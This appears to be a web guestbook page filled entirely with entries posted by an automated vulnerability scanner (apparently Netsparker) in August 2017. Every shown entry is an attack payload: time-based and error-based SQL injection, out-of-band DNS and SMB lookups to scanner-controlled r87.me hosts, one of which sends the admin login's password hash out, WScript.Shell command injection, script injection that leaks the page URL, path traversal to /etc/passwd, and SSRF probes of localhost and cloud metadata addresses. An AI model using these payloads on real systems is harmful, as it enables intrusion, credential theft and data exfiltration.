\r\n \r\n

\r\n
\r\n

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\\\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL)\r\n

\r\n
\r\n

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\\\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n ';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz\"+\"lqw.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal\"+\"9om.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6C

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\\\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||'\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6B

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\\\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)\r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A6A

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric)\r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A69

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 ns=netsparker(0x002A5F)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\" ns=netsparker(0x002A5D)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n Guestbook.aspx\u0000\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n Guestbook.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7\" & \"32o.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1');SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n data:;base64,TlM3NzU0NTYxNDQ2NTc1\r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio\" & \"qju.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y\" & \"wqa.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-\" & \"y9m.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n //r87.com/?0x003F84\r\n

\r\n
\r\n

1);SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

N3TSP4RKE2

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\r\n

\r\n
\r\n

nxtspxrkex

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n [ns](javascript:netsparker(0x003F5C);)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n NSFTW\r\n

\r\n
\r\n

n3tsp4rke2

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n /etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n '\"@-->\r\n

\r\n
\r\n

SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt\" & \"ano.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl\" & \"8u8.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s\" & \"jba.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl\" & \"cpq.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//etc/passwd\r\n

\r\n
\r\n

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)\r\n

\r\n
\r\n

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000.aspx\r\n

\r\n
\r\n

((select sleep(25)))a-- 1

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n http://127.0.0.1:3306\r\n

\r\n
\r\n

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n http://127.100.11.2:22\r\n

\r\n
\r\n

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r\r\n

\r\n
\r\n

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'\r\n

\r\n
\r\n

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n 1'))exec('xp_dirtree ''\\\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1))exec('xp_dirtree ''\\\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

1)) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1')exec('xp_dirtree ''\\\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n 1) exec('xp_dirtree ''\\\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n -1';exec('xp_dirtree ''\\\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

')) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n 1;exec('xp_dirtree ''\\\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n exec('xp_dirtree ''\\\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\\c$\\a''')\r\n

\r\n
\r\n

') WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n http://169.254.169.254/latest/meta-data/public-hostname\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs\" & \"j3o.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no\" & \"o20.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n http://aws.r87.me/latest/meta-data/public-hostname\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n file:///etc/passwd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n -1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\u0000.aspx\r\n

\r\n
\r\n

WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n 127.0.0.1/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n ::1/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

